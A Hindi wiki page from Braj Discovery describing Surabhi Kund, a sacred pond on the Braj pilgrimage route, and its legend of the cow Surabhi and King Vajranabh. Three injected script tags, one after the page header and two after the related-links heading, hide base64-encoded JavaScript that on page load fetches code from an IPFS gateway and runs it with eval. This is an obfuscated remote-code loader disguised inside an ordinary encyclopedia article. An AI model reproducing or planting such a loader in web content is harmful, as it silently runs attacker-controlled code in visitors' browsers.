सुरभी कुण्ड

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित १३:०९, २ नवम्बर २०१३ का अवतरण (Text replace - " ।" to "।")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सुरभि कुण्ड / Surabhi Kund

श्री राघव पण्डित की गुफ़ा से आगे चलने पर परिक्रमा मार्ग में दाहिनी ओर निर्मल और मीठे जल से भरा हुआ सुरभि कुण्ड स्थित है। गोविन्द कुण्ड पर इन्द्र की प्रार्थना से सुरभि जी ने अपने स्तन के दूध से श्री गोविन्द जी का अभिषेक किया था। तत्पश्चात श्री कृष्ण की गोचारण लीला तथा विशेषत: श्री राधा-कृष्ण युगल की निभृत निकुञ्जलीला का दर्शन करने के लोभ से श्री कृष्ण की ब्रज लीला तक यहीं निवास करने लगी। महाराज वज्रनाभ ने इनकी स्मृति के लिए इस सुरभि कुण्ड की स्थापना की। यहाँ स्नान एवं आचमन करने से सारे पाप, अपराध एवं अनर्थ दूर हो जाते हैं। तथा ब्रज-प्रेम प्राप्त होता है।

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>